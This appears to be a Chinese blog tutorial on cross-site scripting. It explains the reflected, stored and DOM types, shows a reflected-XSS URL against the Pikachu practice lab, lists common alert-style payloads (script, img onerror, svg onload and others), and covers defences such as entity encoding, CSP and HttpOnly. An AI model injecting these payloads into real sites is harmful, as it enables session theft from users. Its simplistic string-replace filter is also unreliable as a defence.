xss跨站脚本攻击

跨站脚本攻击:cross site script ==xss
xss和sql注入有点类似,可以理解为html注入

1.xss简介

XSS全称:跨站脚本(Cross Site Scripting) ,为了不和层叠样式表(Cascading Style Sheets)的缩
写CSS混合,所以改名为XSS;攻击者会向web页面(input表单、URL、留言版等位置)插入恶意JavaScript
代码,导致管理员/用户访问时触发,从而达到攻击者的目的。

2.xss的危害

1.获取用户的cookie
2.拍照并上传到xss后台
3.获取经纬度,物理定位
4.获取真实ip
......
理论上xss的危害无上限,关键看js代码的功能

3.xss的类型

3.1 反射型

http://xx.xx.xx.xx/pikachu/vul/xss/xss_reflected_get.php?
message=kobe%3Cscript%3Ealert%28123%29%3C%2Fscript%3E&submit=submit

3.2 存储型

3.3 dom型

dom型不需要向服务端发起请求,完全由前端js触发,属于自嗨型

4.xss的常见payload

<script>alert(123)</script>
<script>confirm(123)</script>
<script>prompt(123)</script>
<a href="javascript:alert(123)">sdsds</a>
<img src=1 onerror=alert("xss");>
<svg onload=alert(123)>
<iframe src="javascript:alert(1)">test</iframe>
<audio src=1 onerror=alert(1)>
<video src=x onerror=alert(1)>
<button onclick=alert(1)>
.....

5.xss的防御

5.1 htmlspecialchars实体编码转换

$message=htmlspecialchars($_GET['message']);

5.2 配置csp策略

apache: Header set Content-Security-Policy "default-src 'self'"
nginx: add_header content-security-policy 'script-src "self"';

nginx配置

apache配置:

5.3 对输入或者输出的内容进行过滤

$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);

5.4 设置http-only

setcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE);

设置HttpOnly属性是提高网站安全性的重要步骤。 通过阻止客户端脚本访问Cookies,可以减少XSS攻击
的风险,并增强用户的隐私

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值